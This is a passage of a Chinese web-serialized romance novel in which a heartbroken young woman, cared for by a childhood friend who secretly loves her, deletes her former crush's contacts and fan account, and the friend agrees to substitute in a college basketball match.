虞千绾虚眯着眼侧首朝门的方向看去,本就模糊的视线因泄入的光亮短暂花了刹那,然后聚焦清晰起来,逐渐适应的柔和室外光与商恪景那张无比熟悉的脸一同出现在她狭窄的视野中,几乎将她的视野占满。 见她还躺在床上似有不适的状态,商恪景这才往里抬步,“我进来了。” 虞千绾嗯了声。 屋内没开灯,窗帘也拉着,整个屋内的光亮仅靠着门外泄入,商恪景便在进门时将门开得更大些,以便照亮屋内的昏暗。 商恪景一身睡衣,踩着拖鞋,头发微微有些凌乱,显然也是收到了虞千绾的消息才从床上起来的。 但手上拿着的东西可不粗糙,他一手拿着冰袋和毛巾,一手拿着放了不知什么的小盒子晃了晃,不仅及时送来了虞千绾要的,还细致想到了其它,“给你带了瓶眼药水,用吗?” “用,但我先冰敷吧,不然感觉眼睛都要睁不开了。” 大眼睛的虞千绾第一次觉得自己的能见范围这么小,肿胀的眼皮都快把她的视线堵完。 “行。” 商恪景弯腰先将眼药水放在了床头柜上。 同虞千绾的距离随着放眼药水的动作拉近,商恪景这才清晰看到她眼睛肿得有多夸张,眉头当即皱了下,却欲言又止,赶忙只是将毛巾包裹在冰袋外递给虞千绾,“这毛巾全新的,我没用过。” “嗯……” 虞千绾心口有些翻涌,她不知道是因为最近自己刚失恋有些脆弱敏感还是和商恪景闹过别扭后和好更知道珍惜,总归许多他们习以为常的事,她现在却觉得弥足珍贵。以前,她当然也很珍惜他们的感情,但他们实在认识太多年,很多难得的陪伴和举措都成了日常,无意识间弱化了对方的重要性,极少会牵起这样的感怀情绪。 冰袋刚裹在毛巾里,冰意还未彻底由内沁到毛巾外,拿着毛巾的手指只能感觉到细微的冰感,但眼睛感知到的温度肯定比手指要低,于是虞千绾慎之又慎,但她的眼皮太肿,毛巾或多或少也会和肿胀的皮肤有些摩擦,哪怕特别注意过但还是在二者相碰的那瞬间痛得她接连倒抽了好几口凉气。 商恪景帮不上什么忙,眉头蹙得更深。 约莫半分钟,虞千绾眼周皮肤适应了些温度不再那么敏感,她才终于舒服些,静静闭目冰敷。 见她手估计是一直扶着毛巾扶累了,开始愈发频繁地挪动,商恪景便坐在床边,探手帮她扶稳,“我来吧,你就躺着,要是不舒服跟我说。” 心口的翻涌更甚,虞千绾到底没忍住把心底里觉得有些矫情的话吐出,“商恪景,你简直是全世界最好最好的朋友,和你在一起相处比跟他在一起舒服多了。” “我当初一定是脑袋坏了,放着好朋友不珍惜,浪费那么多时间在一个渣男身上。” 她这么直截了当地提到常桦,商恪景反倒怔愣了下。 从昨夜到今日,甚至是之前每每想象她决定放弃常桦的时候,商恪景一直都抱着给她时间的心态。 毕竟他们都是偏感性的人,对待真心爱重的人其实不会太讲道理,只要不是什么太严重的、太伤天害理的事情,他们都会选择站在亲近人的身边陪伴。 正因为知道虞千绾性格是这般,所以商恪景打算这段时间都不会主动在虞千绾面前提起常桦,给她默默消化的时间,哪知她这么快就率先提到了常桦。 话在嗓间滚过了几个来回,商恪景最终还是没多聊常桦,只用简单八个字浅浅揭过他陪着她一起经历过的她与常桦的这四年,“你才知道,重色轻友。” 眼睛冰敷着不能睁开,没看的没玩的,虞千绾话匣子就这么打开,“这事我确实做得不对我认,但是你也别把话说太早,等你以后有了喜欢的人说不准比我还过分。当然——” 虞千绾话锋一转,“不希望你遇到一个他那样的人。” 商恪景毫不担心的戚了声,“我眼光比你好多了。” “知人知面不知心。” “真陷到爱情里,一切都仿佛被添上了层滤镜,看对方什么都是好的。” 虞千绾一副过来人的调调这么说。 商恪景听着不爽,“虞千绾,咱俩都是母胎单身,你教育谁呢?” 虞千绾轻嗔:“我这不是自己受了伤长了教训第一时间想告诉你,让你别步我的后尘嘛!好心没好报。” “我喜欢的人,人好面好心更好。” “哎哟,商恪景你听听自己在说什么?你以后绝对会是个超级超级重色轻友的恋爱脑,那个人还没出现,你就这么夸赞了?” 商恪景看着虞千绾揶揄的嘴脸、听着她什么都不知道的声调突然感到好笑。 反正她在对他的情感感知上迟钝得要命,他就这么将话接了下来,还挺理直气壮的架势,“对啊,难不成只许你当恋爱脑,我不能?” “别说了。” 虞千绾突然做了个攥着手往胸口虚拟插刀的姿势,“恋都没恋上,还恋爱脑呢,不过幸好没恋上,否则要成案底了。” 听她自我吐槽起来一句说得比一句狠,一句比一句直白,商恪景这才深入些去提,但声音还是比之前的交谈声略轻了些,“你这……这么快就完全放下他了?没喜欢了?” “没有喜欢了。” 这五个字虞千绾回答得非常迅速非常果决,“但说放下,确实还不能那么快,毕竟这么多年,我确实心里面还有些难受。而且现在有你在身边陪着说说话转移些注意力,我的理智还算清醒,可到晚上的emo时间我就无法确定了,独自一个人待着又是黑夜,很容易陷到情绪里去难受。但这个难受只是对我自身,我心疼自己的喜欢喂了狗,这么多年放在他身上的精力,我的付出。如果他一开始就拒绝我,我肯定不会这么想,毕竟感情哪就那么顺利两情相悦的,但他在欺骗我。尤其——” 虞千绾话语一顿,声调也微微轻淡了些,“昨晚亲耳听到他对周映灵说的那些话后,我已经对他失望了。有一个让我极其下头的瞬间是——他意识到一切都是周映灵做的局居然还想来拉住我狡辩什么。那一刻,我感觉这个人简直太割裂了,明明脸还是那个脸,却好像完全变了个人,他从来就不是他之前伪装出的不想随波逐流只想靠自身实力打拼的模样,他简直不要太想走捷径,不然也不会被周映灵设局。” “我也在反思我自己之前怎么给他留下的这种好骗单纯印象,否则他也不能这么明目张胆,这么的……让人反胃。” “而且,我听着他拿对付我的那套去对付周映灵却全都没用的时候,我觉得挺丢人的,周映灵一个字都没信,我却信了这么多年。” “总之,我确定我不喜欢他了,我对他完全下头了,但别的情绪可能还需要些时间才能彻底消解。” “这很正常,21天养成一个习惯,这么多年的时间有了太多习惯,很多肢体、意识下意识的行为不是光靠理智能控制住的。” 商恪景看到她坚强理智之下的柔软,强忍着没去揉揉她的发丝安抚,持续给予她话语上的宽慰,“很棒啊虞千绾同学,你走出来的速度比我想象中快了很多很多。” 虞千绾被夸的底气不足,突然垮起个哭脸,“你别信我太多,我现在清醒着这么说,晚上emo情绪上头,我可能又绷不住沉浸进去了。很多时候,我并不能说到做到。” “人之常情啊,谁能全部说到做到?那京大还挤满了学生呢。” 商恪景看她两级反转的样子,没耐住声轻笑,“大不了这些天我就天天待你这呗,等到你困了想睡觉了我再走,这样你就没什么独自emo的时间了。” “那当然好啦,作为报答,这段时间的吃喝我都包了,你想吃想喝什么随便提!” “行,千绾总豪气。” 两人同时笑出声。 虞千绾心口闷着的那股郁结之气跟着笑声和交谈在无意识间一点点散去。 冰敷不能太久,可能会冻伤。 商恪景估摸着时间差不多就拿下了冰袋,没再给虞千绾敷眼睛。 眼睛依旧有些不舒服,但比刚起床那会儿好多了。 虞千绾拿过眼药水,往左右眼里各滴了一滴,然后闭眼又缓了几分钟。 再睁开眼,不适感已经被降到最轻了。 见她眼睛刚好些就要拿手机玩,商恪景轻啧了声,径直往她手背轻拍了下制止,“虞千绾你网瘾少女啊,眼睛不舒服少看电子产品。” “我看一眼。” 虞千绾依旧拿起,左手蹭了蹭刚被打过的右手手背,要面子地咕哝,“昨天被周映灵看到那一幕,还不知道怎么笑话我呢,我看看她有没有再给我发短信,再看看有没有人已经知道给我发微信询问了,真要有我该怎么回啊?好尴尬的……” 商恪景无声闷笑。 虞千绾提着口气打开手机查看,但出奇的,手机里干干净净。 没有昨天那条未知号码发来的短信,也没有好友从旁人那听来这个转了几次的瓜偷偷告诉她。 周映灵有这么好心? 自幼的经验让虞千绾一秒否认,她才不会那么好心,肯定有所图谋。 但当下周映灵没什么动作,虞千绾也懒得花时间多想。 手指点入朋友圈又巡视一圈确认,冷不丁,虞千绾脑海里跳出一帧原本遗忘的画面,她猛地偏首看向商恪景,“诶,我昨天是不是让你帮我删掉有关常桦的账号视频了?” “嗯,但我没删,给你隐藏了。” “你干嘛不删?” 商恪景直白道:“怕你今天后悔。” 虞千绾一时间有些语噎,“我给你留下的印象这么差吗?他都这么对我了,我还后悔什么?而且,万一又有人因为我的安利视频喜欢上他了怎么办?那我岂不是害人。” “那你自己删。” 商恪景朝她手机屏幕里的微信页面抬了抬下颚,“正好,先从微信开始。”《 》 20-25 第21章 第 21 章 清空账号 虞千绾又是一噎。 商恪景睐来一眼, 用一种轻飘飘的语调阴阳怪气,“干嘛?还没到深夜的emo时刻就狠不下心了?” 虽然很不想承认,但虞千绾确实在听到商恪景提及删除常桦微信时,脑海里冒出了很多情形。 就比如当年常桦的微信虞千绾只是随大流加上的, 加微信的时候她仅当这是个随手的动作, 哪里会想到这么小这么小的一个小动作却像蝴蝶效应似的牵扯出后面这么多年的事。以及, 这四年间, 她换了好几个手机, 但每次换手机的第一件事就是检查和常桦的微信聊天记录,生怕有些没转移到新手机上丢了与他的回忆。 不过这些都与现在的常桦无关。 很多时候, 放不下的人或事, 并不是当下的,而是记忆里的那些朦胧的、带些自我滤镜遐想的美好。很多人却傻傻地抱着回忆走在未来中无所觉察, 还用记忆给未来赋魅。 虞千绾觉察到这点,所以今日商恪景即便不提, 她也会在24小时内删除常桦的所有联系方式, 但她会给自己留一定的时间回顾一下过往,和自己的经历告别,不会这么快。大抵也是有些不舍找理由再多停留一会儿的情绪在的,毕竟第一次喜欢人却以如此惨淡的结局收场, 她的一颗热忱之心被捶打的七零八碎。 可有了商恪景这番话, 根本遭不住激将法的虞千绾被猛推了一把,怕被笑话的她当即嘴硬做出决定,“删就删。” “是吗?你该不会说一套做一套吧?” 商恪景有些欠揍地探头往她手机旁凑了凑, 一副很不信的样子。 虞千绾恼然地将手机屏幕朝他的方向转去,当着他的面从微信朋友圈退出,回到微信主页面。 指腹刚触在屏幕上打算下滑在聊天框里寻找常桦删除的时候, 她突然想到,常桦的聊天框被自己删除了。 转而,虞千绾又戳入了好友列表去找常桦的微信,手指一下没停地点到删除好友页面,特意在删除之前将手机又在商恪景面前晃了晃,然后缓慢但重地在屏幕上狠点了一下,删掉了常桦的微信。 商恪景没说话,就是唇角的笑不知道什么时候扬起的,愈发压不住,笑得别提多灿烂。 “不至于吧?” 虞千绾眉毛疑惑浅皱,“我不就是删掉了常桦嘛?你怎么开心成这样?” 商恪景微微坐直些身子没再看她的手机,神情难掩得意,眼睛都笑到似噙星河,唇瓣一张直击重点,“虞千绾,你把我设成微信置顶啊,我对你这么重要呢?” 没想到他的关注点在这,估计是刚刚屏幕滑到微信主页面的时候被他偶然看到了。 冷不丁被点出,虞千绾有些别扭,但面颊上不显分毫,小脸微抬着很理直气壮地回:“很奇怪吗?我们不是好朋友吗?” “咱俩也不是最近才当好朋友啊,之前你置顶不就常桦一个?没见你把我放在置顶上。” 有时他们聊天会截图发给对方,商恪景早就在这样的细节里发现常桦是虞千绾的微信置顶,并没有他。 事实如此,虞千绾一时间回不过话,但又羞于去反复承认他这个朋友对自己的重要性,尤其还得面对着商恪景这么嘚瑟且欠欠的表情。 转头她就换了个思路开始反击,“你还好意思说我?那我的微信置顶现在好歹是你,你的微信置顶什么时候是我过?” “你一直——” 话语下意识的就要泄出隐藏多年的感情,商恪景当即闭了嘴,硬生生将话憋住吞下。 虞千绾面上瞬间展露笑颜,自以为赢下一城,傲娇的下颚抬了抬,洋洋得意,“怎么样?从微信置顶的角度来看,我比你做朋友做得更合格吧?” 商恪景偏过头看着空处,略有深意地笑了声。 “行。” 他转而拿起手机点入微信,手指一番假动作,给虞千绾营造出一种正在把她设置为置顶的假象。然后,他将手机屏幕转过去给她看,“现在你也是我的微信置顶了,以后要是被我逮到你偷偷把置顶撤掉,你就死定了,说明你这朋友做得非常不合格。” 曾经这么多年,商恪景每次在她面前点开微信都会稍加注意略将手机回扣些,以防被她发现她是他的微信置顶,时而给她截图时也会特意截掉置顶的那一截。 当下还是这么多年来,商恪景第一次这样光明正大的把微信置顶展露给虞千绾看,哪怕虞千绾完全没多想,商恪景的呼吸却还是微窒了须臾。 “必不可能!” 虞千绾雄赳赳气昂昂地说:“把你放在置顶上也是在提醒我,不能再恋爱脑,我得封心锁爱一段时间。” “最好是。” 长久的陪伴让商恪景都不太敢奢望虞千绾喜欢上他,他只希望虞千绾不要喜欢上别人,这样,他们就能以朋友的身份相处一辈子,如此就很好了- 商恪景其实是被虞千绾的消息声吵醒的,他凌晨将虞千绾送回来后又过了许久才睡着,压根没睡足八小时。 他在睡前就意识到自己睡得太迟了,怕虞千绾不舒服给他发消息他收不到,就在睡前特意将手机铃声调到最大,以便第一时间看到她的消息并给予回复。 而今,见虞千绾睡饱了开始恢复活力,商恪景的担心褪去不少,困意渐渐袭来,他开始一个哈欠接着一个,人也有些懒散的想躺下,但女孩子的床不方便,他便起了身晃荡了几下醒神,“没事我就先回去了,再补会儿觉,又困了。” “行,那你睡醒想吃什么?我订个餐厅到时候一起去吃顿好的。” “我都行,你定。” “ok。” 临走,视线滑过床头柜依旧安静摆放着的保温杯,商恪景又驻足问了句:“蜂蜜水喝过没?” “啊?”虞千绾懵然看他,“什么蜂蜜水?” 商恪景故作漫不经心地往床头柜指了指,“就保温杯里的。凌晨那阵你想吐,我就给你弄了杯解酒,但你那会儿肚子里都是酒水,喝不下去多少,我就把剩的都放在保温杯里了。正好你刚不是说头还有些胀吗?喝点应该会舒服些。” “哦好,我才发现这有水,马上喝。” “行,我走了。” “拜拜~睡醒记得给我发消息,我们去干饭!” “好。” 商恪景离开后,虞千绾彻底把心思都放在了经营的账号上。 因为凌晨视频全部隐藏,不少爱看她视频的受众发来私信询问情况,她的私信都快要炸了,99+。 常桦的粉丝群也没好到哪里去,消息一条接着一条弹,可以说,虞千绾极少见群里有这么热闹、活人感这么足的时刻,还有些人直接发了视频八卦有没有知情人。 不过常桦没多少粉丝,所以这事在互联网上没闹多大,就小面积传播着,但在粉丝内部影响程度很大。毕竟娱乐圈有那么一句广为流传的话——大粉跑路多半是真塌房。遑论还是虞千绾这种陪伴了这么多年的氪金大粉。粉丝内部一下慌了神,猜测不断。 除此外,虞千绾还收到了一些熟悉ID发来的私信,大多是曾一起参加过线下应援活动的。她们都没过问太多,只是在私信里写着小作文怀念她们一起走过的线下,共同产生的回忆,祝福她现生快乐,字字句句都是那样的真切。 虞千绾看得心头感慨万千,尤其粉丝里还有好些是因为她的安利视频了解到常桦去喜欢他的,一想到这些,虞千绾就格外担心,担心不知情的人继续喜欢常桦,也担心还有新人涌入。 唯一值得庆幸的是,常桦真的不火,在娱乐圈查无此人,作为网红,他又不怎么开直播,并没从粉丝身上圈到多少钱。 毕竟也没那么多少人会像她这样傻,送钱送到这个地步。 虞千绾自嘲了两秒,切换手机软件进到剪辑视频的APP,用半分钟不到的时间做出了有史以来最为简短的一条图文视频。 没有任何BGM,也没有任何精心的剪辑,简洁明了的黑色背景上有着两个超大号白色字: 【快跑】 然后,虞千绾直接删除了被商恪景隐藏的那些视频,账号的总点赞和总评论量瞬间清零。 到底是自己一点一点经营建设起来的,看到的瞬间,虞千绾的眼睫没禁住轻眨了下,轻呼口气,她将ID和简介全部改为空白。不忍再回顾未读栏里的那么多昔日的评论与私信,她退出账号登入自己的日常号。 全平台账号都只留下了这么一条提醒。 作者有话说:[墨镜]抽查!一个小细节有没有发现—— 凌晨某人把千绾抱回后临走的时候明明在床头柜上放的是一杯蜂蜜水,怎么却变成了保温杯装着的水? 那当然是某人回到家以后越想越不放心,哪怕放在了最远离千绾的那边还是怕她碰到弄洒,后来又想着那么放一夜千绾睡醒喝的时候都凉透了,于是珍藏好小纸条以后又来了千绾家用保温杯兑了杯蜂蜜水放在她床头柜上[好的][好的][好的] 第22章 第 22 章 “你会来给我加油吗?”…… 再一次睡醒后, 商恪景给虞千绾发了消息。 两人简单收拾后出门吃饭。 眼睛太大在这种时候也是个苦恼,虞千绾的眼皮经过断断续续的冰敷后虽然没刚醒来时肿得那么夸张,但依旧很明显。 或许在正常的社交范围内旁人不会在意,但虞千绾自己很在意, 她就是觉得很滑稽, 于是搭配着衣着挑了副墨镜戴上完全把眼睛遮掩住不让人有瞧见的可能性。 商恪景揶揄她说不知道的还以为是哪个顶流女明星出街。 虞千绾全然不羞臊地应下, 骄矜微扬下颚, 只道自己这颜值要是进军娱乐圈, 当上顶流也只是时间问题罢了。 商恪景心里自然是非常非常认同虞千绾颜值的,在他眼里, 她绝对的最好看的异性。而且在他们这圈子里, 管他什么顶流一线十八线的明星,统统都视作一样, 并没什么特殊,毕竟没多少上阶层的人会去关注下下下阶层里分出的三六九等, 就连家里开娱乐公司的周映灵在他们圈子里都只是地位平庸的那类存在, 无关傲慢,只是生来环境便是如此。 但嘴巴上,商恪景说不出直白夸赞虞千绾漂亮的话,起码没法用一种诚心的语调说出, 那种情况仅在小部分时刻才会被触发, 大多时候他们都保持着一种欢喜冤家的相爱相杀态,譬如此刻,商恪景的回话很是欠揍, “那顶流能不能先把墨镜摘下来以正面目示人?” 虞千绾当即朝着商恪景扫去一个眼刀,但被墨镜遮挡着毫无杀伤力,她恼羞成怒, 追着商恪景打了好一截。 幼稚要命的举措,压根不像两个二十多岁的人,倒像是小学生。 不过商恪景将度拿捏的刚刚好,他没逗虞千绾太久,感知到她要跑不动真要生气的时候,他就减速缓停,自觉让虞千绾逮住打了几下发泄。 但没多久,笑闹又起。 只因虞千绾的墨镜在去到餐厅用餐时也不肯摘下,全程戴着吃。 视线免不得昏暗些,她不小心把生姜看成了肉块,径直用筷子夹住送入口中,齿尖清脆一下咬开,辛辣瞬间在舌尖爆开,虞千绾五官瞬间痛苦皱起,低低啊了声,这才意识到自己认错了食物,奈何吐出时为时已晚。 商恪景第一时间给她递来了水,见她面色稍霁后当下那秒的紧张褪去,转而肩膀开始因笑轻颤。 虞千绾越涨红着脸不许他笑,他身子颤抖得越厉害,甚至还没绷住笑出了声。 自觉丢人的虞千绾一听也没绷住,顿时破了功也捂脸笑出声。 最后俩人双双笑趴在桌子上。 饶是如此,虞千绾依旧要面子的还不肯摘下墨镜。 刚从桌子上起来的商恪景又笑弯了腰- 因为商恪景的存在,他的陪伴,他们一起的笑闹。 虞千绾一整个白日都没太沉浸在悲伤的情绪里,包括冷不丁收到常桦经纪人的微信消息时。 虞千绾曾因参加常桦邀请的公司聚会活动见过他经纪人詹姝瑗一次,在那次,詹姝瑗主动找她交换了联系方式。 出于礼貌,虞千绾自然不会拒绝,两人的联系方式就这么顺理成章加上,但加上后就在对方的好友列表躺尸,并没有过任何对话交流,顶多就给对方的朋友圈点点赞。 但今日,詹姝瑗却突然主动发来了消息打破了这份礼貌的平静。 原因无需多问都想得到,定然是为了常桦而来的。 虽然常桦现在并不是詹姝瑗的重心,但詹姝瑗也在常桦身上花了不少心血,是她栽培起来的艺人,她自然还是想帮他说话的,于是来找了虞千绾试图将事件影响降到最低。当然,最怕的还是虞千绾真把事做绝,动用家里势力封杀了常桦。 詹姝瑗接连发了两个小作文,篇幅颇长,几乎占了手机的两三个屏幕。 话语看起来温和有礼,也先着墨许多站在虞千绾这边帮她说话,指责常桦不好,但最后也没少提常桦的好。 字实在太多,密密麻麻的,虞千绾眼睛本来就不舒服,看着更嫌眼睛疼,她懒得去细看,视线只草草带过,而且她就算不看都知道詹姝瑗目的是什么。 性格直接的虞千绾很不喜欢这种大家分明都心知肚明却还装傻迂回的举动,更何况她和常桦掰了,跟詹姝瑗更是毫无交情,她没必要在这处理他们的情绪他们的恐慌。 并且,詹姝瑗的担心非常非常多余,虞千绾压根不想再放什么注意力在常桦的身上,很不值得,她的时间比常桦值钱不知多少倍。也很没意思,常桦这个人没意思,这件事也没意思。 一如庭院那晚,她丢给常桦的最后一句话“今日以后,我所参加的场合,你怕是连张入场券都拿不到。” 他们本就不是一个世界的人。 没了爱意后的虞千绾理智完全回笼,她现在的念头大多放在嘉澍集团上,马上就要国庆节了,她将要去拍摄视频经营新的工作账号了。 她当然能把事闹大,可如果闹破圈了,到时候她的工作新账号下估计都是这事,影响她的工作开展,这是个很不值的举措,若不是担心那批因为她的视频关注到常桦的粉丝继续被蒙在鼓里,她连那条视频都不会发,因为想整常桦实在有太多手段,一通电话就好,无需摆在台面上伤敌一千自损八百。 常桦的一千和她的八百显然不是一个量级。 而且,把他和她还有周映灵放在一起,简直不要太给他拔高身份……她还嫌丢人。 但这些话,虞千绾自不会直接和詹姝瑗说,跟商恪景咕哝了句“光记得删除常桦忘记删除她了。” 转手也送了詹姝瑗拉黑删除一条龙服务,一个字没回复,让他们自己狗咬狗的惴惴不安去。 商恪景看着虞千绾在面对纠缠时也淡定自如,情绪并没太大的起伏,甚至下一秒就跟他开开心心聊别的东西了,还在心里为她松了口气,觉得她已经从这关踏出一大半了。 但晚上,商恪景依旧没松懈,还是依着承诺的话留在了虞千绾家里陪着她,没让她独自一个人有emo的空间。 想着气氛需要欢快,商恪景还特意挑了部喜剧片子和她一起看。 但他忘了有一句评价喜剧很经典的话——喜剧的内核是悲剧。 商恪景挑选的这部片子其实也没那么悲,整体都是比较好笑的,但其中的某个小点突然就戳中了虞千绾的内心,她将片子认认真真看了进去,看到结尾的时候都没哭,却在用手机去网上搜影评讲解的时候红了眼眶。 商恪景及时攥住了虞千绾的手腕,没让她在哭泣的时候无意识去揉眼睛,否则她这刚有些好转的眼睛明天起来怕是又得肿得不成样。 商恪景在挑选这部片子时绝没想到这部片子的后劲会这么足,足到他看着虞千绾分享来的那些影评时心头都有些复杂。 不过听着虞千绾掺杂上自我理解的那些话,商恪景意识到她在说电影,但又不仅仅是电影。于是,他安静着做聆听者。 今天的虞千绾很快就调整好情绪,没有在悲伤和眼泪里陷太久,甚至还在理智压过感性后自我揶揄说:“果然,我最担心的画面还是发生了,还是这么没出息。” 商恪景却是笑着摇了摇头,“你已经很坚强了,心也像一座房子,受损了,修建总是需要些时间的。” 虞千绾眼圈蓦地又有些红,当即别开了视线不敢再同商恪景对视。 商恪景见状也低下了头不看她,给她自我调整的时间。 他们的关系总是这样,各种平淡和激烈的情绪都可以肆意表达,但暖心的宽慰会让他们束手无策。尤其还是当下这种情绪并没那么浓烈,话却极尽温暖的时候。 虞千绾想,大概是异性好友的原因,不能像闺蜜那样直接扑到怀里紧紧依偎着求安慰,总是要保持些微妙距离的,而且他们打小就是闹闹笑笑过来的,细腻与安慰不是他们的惯有表达。 楼梯前那样失控的拥抱是极少极少数情况- 虞千绾和商恪景都是有些宅的人,平常不太喜欢出门,但这几天,商恪景总拉着虞千绾出门。 出门倒也没什么很重要的事,就是简单的散散步逛逛公园,以此让虞千绾看看风景呼吸呼吸新鲜空气转移些注意力,不至于总窝在家里的那一方天地盯着手机。 就这么过了三天,国庆节假期正式到来。 虞千绾的眼睛明显好了些,早起冰敷后基本看不出红肿了,就是还有些仅自己可以觉察到的干涩,但并不那么严重了,时而不去刻意去想她自己都感受不到,一如她的心。 嘉澍集团旗下购物平台宣传广告和海报就在明日开拍,虞千绾得去现场拍摄花絮作为自己新账号的第一条内容,同她对接的工作人员今日发了好些消息过来与她沟通,她仅存的那么一点时间也被拉了过去,全身心投入其中。 商恪景照旧来找她出门,却见虞千绾已经精神大好地盘腿窝在沙发里电脑架在腿上跟人聊着工作,而非前些日子那般丧丧地蜷缩在卧室里不想起。 她的手机开着扩音,商恪景推开门就听到,脚步当即放慢。 虞千绾也听到开门声音,扭头指了指自己的手机同他示意。 商恪景了然地颔了颔首没打扰她,自觉坐到沙发另侧静音玩手机。 小插曲很快过去,虞千绾很快又投入工作中,双手在电脑键盘上飞速敲击着,手机就免提放在一旁。 商恪景偷睐了她眼,倒还真有了些平日里揶揄的“千绾总”的姿态。 许是见虞千绾工作的认真,商恪景有些自愧不如,默默起身回家把自己的电脑也拿了过来,还带了几本专业书,撸起袖子干起了本科毕业论文。 不多时,虞千绾的电话挂断,客厅里没了人声,只余电脑的敲击声此起彼伏地在客厅响着。 身处在这样的环境里,商恪景突然感觉学习、工作也不是件多痛苦的事。 只要一抬眼看到她,就很好。 当然,也就是这么想。 如果真去工作,他还是不乐意的,毕竟他俩不在一家集团,工作地点不像现在这么惬意随性。 “叮叮叮——” 虞千绾微信铃声忽响,商恪景一秒转回头,只闻虞千绾接通电话后语调微微困惑的同那头人说出他的名字,“商恪景?” 商恪景这才光明正大地侧目看向她,单眉微抬带着些询问。 但虞千绾正在和手机那头对话,尚没时间回应他。 “哦哦,这样啊。” “行,我问问他哈,毕竟他前段时间也受伤了,刚养好没多久,也不知道行不行。” “嗯嗯,我问完就给你发消息,你别急。” “没事~不客气。” 商恪景越听越好奇,全神贯注地盯着她。 虞千绾一边挂断电话,他一边开口问:“谁?” “我室友,盼雁。” 虞千绾将刚刚的电话内容转述给商恪景听。 事情是与徐盼雁的男朋友魏明轩有关,魏明轩同她们虽然不是同专业的同学,但归属于一个学院。 虞千绾是因为室友才知道魏明轩这个人,他时不时会来教室陪徐盼雁上课,也在食堂一起吃过饭,所以打过几次照面。商恪景则是因为打篮球知道的魏明轩,他篮球打得不错,大一大二的时候经常会在球场跟一行人约着打球,魏明轩篮球打得也好,还是校篮球队的队长,两人因打篮球相识,时不时会有共友邀请一起打篮球,但也仅限于此,并不太相熟。 大概在月底,二十号出头的那段日子,各高校之间的篮球赛将要展开。 作为校篮球队的队长,魏明轩这段时间注意力都放在上面,不仅是出于做队长的责任心,还因为这是他毕业前的最后一次大型球赛了,他想带着球队赢得胜利,这次比赛后他也要从队长的位置上退下,让给学弟担任了,所以这次球赛对魏明轩来说很重要的意义,算是他大学生涯的收官之战。 自知这段日子光顾着练球没怎么陪伴女朋友,后续打比赛的那段时间也没太多时间,魏明轩便趁着国庆假期约徐盼雁出去旅游,多陪陪她。 哪知就这么倒霉,走路的时候一个不察,没发现脚下的路其实是不平的,而是有截高度的小台阶,但颜色太近似,天色又昏暗,他意识到的时候人已经摔下去了,脚踝被崴到。 医生给出的诊断自然是让他好好休息,月底不要再打篮球这种剧烈运动了,但魏明轩放不下心,他接连给几个篮球技术不错的兄弟打了电话,想问他们能不能来救场替他上场,但大四了,大家都忙着为自己的未来奔波,有些人甚至已经在实习了,不似昔日有那么多的空闲时间花在爱好上,都婉拒了魏明轩。 魏明轩自然也想到了商恪景,但他连熟悉的人都喊不过来,哪里好意思临时去喊不怎么熟悉的商恪景,何况篮球赛前期筹备阶段,魏明轩就有联系过商恪景要不要参加,商恪景已经拒绝了,他便没再找,打算自己上,想来休养个二十天也能凑合着上,因为旁的那些能想到的人就算喊来球技也很一般,还不一定比得过有些小伤的他。 徐盼雁一万个不情愿魏明轩上场,虽然魏明轩还一副没事的模样憨笑着宽慰她说他以后又不是打职业的,就算落下点小病根也没啥,但哪有人会舍得自己爱的人有丁点问题? 可又知道男友对篮球队的重视程度,两相矛盾下,她还是选择联系商恪景做最后尝试,但她没有商恪景的联系方式,便找了和商恪景关系好的虞千绾,她知道他们住得很近。 徐盼雁也知道商恪景肯定也有自己要忙的事情,不好意思奢望太多,哪怕商恪景没法打完后续全部球赛都可以,只要在他有空的时候能来替一下魏明轩就好,一场都行,好歹能让魏明轩有一场的休憩时间。 不过她整体是不抱太大希望的,但也想做一个尝试,万一呢。 …… “你想我去吗?” 这是了解完全程后商恪景的第一句话。 虞千绾也很矛盾惆怅,她迅速摇摇头又滞缓地点了点头,“第一反应肯定是不想,你的伤也才刚好没多久,也很需要休养的。但盼雁给我打电话的时候估计还在医院呢,背景音嘈杂,声音也带着些恳求,听着挺让人心疼的,估计她很着急。” 商恪景看着虞千绾说“你的伤也才刚好没多久,也很需要休养”的时候微微轻皱的眉头,以及稍嗡下去的声调,感知到明确担忧的他唇角暗爽地扬了扬。 “诶——” 虞千绾灵光乍现,“或者,你有没有什么篮球打得比较好的朋友能介绍给魏明轩啊?这样你们俩就都不用上场了。” “没有。” 商恪景摇了摇头,“我认识的大多都不是咱学校的,这种高校间的比赛要核实学生身份的,他们没法代表我们学校打比赛,被发现会被通报批评并且取消比赛资格的。至于学校里那些,魏明轩认识的肯定比我多,能联系的他估计都联系过了。” 虞千绾上一秒还以为自己提出了绝妙的点子,下一秒听完这话又托腮无奈起来,发出幽长的叹息,“啊……好吧。” 商恪景忽然又问:“我要是去参加比赛,你会来给我加油吗?” 虞千绾不假思索地回:“当然啊,送毛巾送水一个都不能落。” “行,那你跟你室友说,我去。” 快速的一来一回对话落地,虞千绾懵然地眨了眨眼,空气静了刹那,她坐直了些身子,“啊?你确定吗?你后背可以吗?” “都是皮外伤,早好的差不多了。而且你不是跟你那室友关系不错吗?正好现在天气也凉下来了,不至于太热,就当去玩玩了。” 最重要的是,商恪景想享受一下打篮球的时候虞千绾在一旁为他欢呼,打完篮球后又递水又递毛巾的近乎“男朋友”的待遇。 “真的假的啊……” 虞千绾心里还是不太想商恪景去的,他要是身体没问题,她肯定乐意他去帮帮徐盼雁的男朋友,可他自己身体都不是最佳状态,哪里还能去顾及旁人?还是自身健康的优先级最高。 就像徐盼雁心疼自己男朋友一样,虞千绾肯定也担心自己的好朋友。 “真的啊,不然我脱下来给你看看?” 商恪景转了个身,背对着她,作势真要把衣领从颈后往下拽拽给她看自己后背的情况。 虞千绾一秒伸脚在他后腰位置踢了下,“你可算了吧,我怕长针眼。” 商恪景:“?” 他当即转过身,笑意全无,没好气质问:“虞千绾你有点品味没?” “我这么完美的身材别人求着看还看不到呢,长个屁的针眼。” “噗。” 虞千绾瞬间笑到仰过头,什么话都没明确说,嘲讽度却拉满。 商恪景有些破防,语噎地静默几秒突然哼笑了声,“而且你眼睛都肿成那么大过,一点点小针眼比起来只是小巫见大巫罢了,大不了再戴墨镜过几天呗。” “啊!” 又被提到这茬,虞千绾也有些破防,“商恪景你闭嘴啊。” 商恪景很欠揍地还边笑边在空中模拟用筷子夹东西,“然后再在吃饭的时候把姜当成肉。” “商恪景!你烦死了。” 虞千绾抡起靠在腰后的靠枕就砸向商恪景的肩膀,又窘又想笑。 互相伤害的两人莫名又笑闹起来。 但篮球赛的事基本敲定。 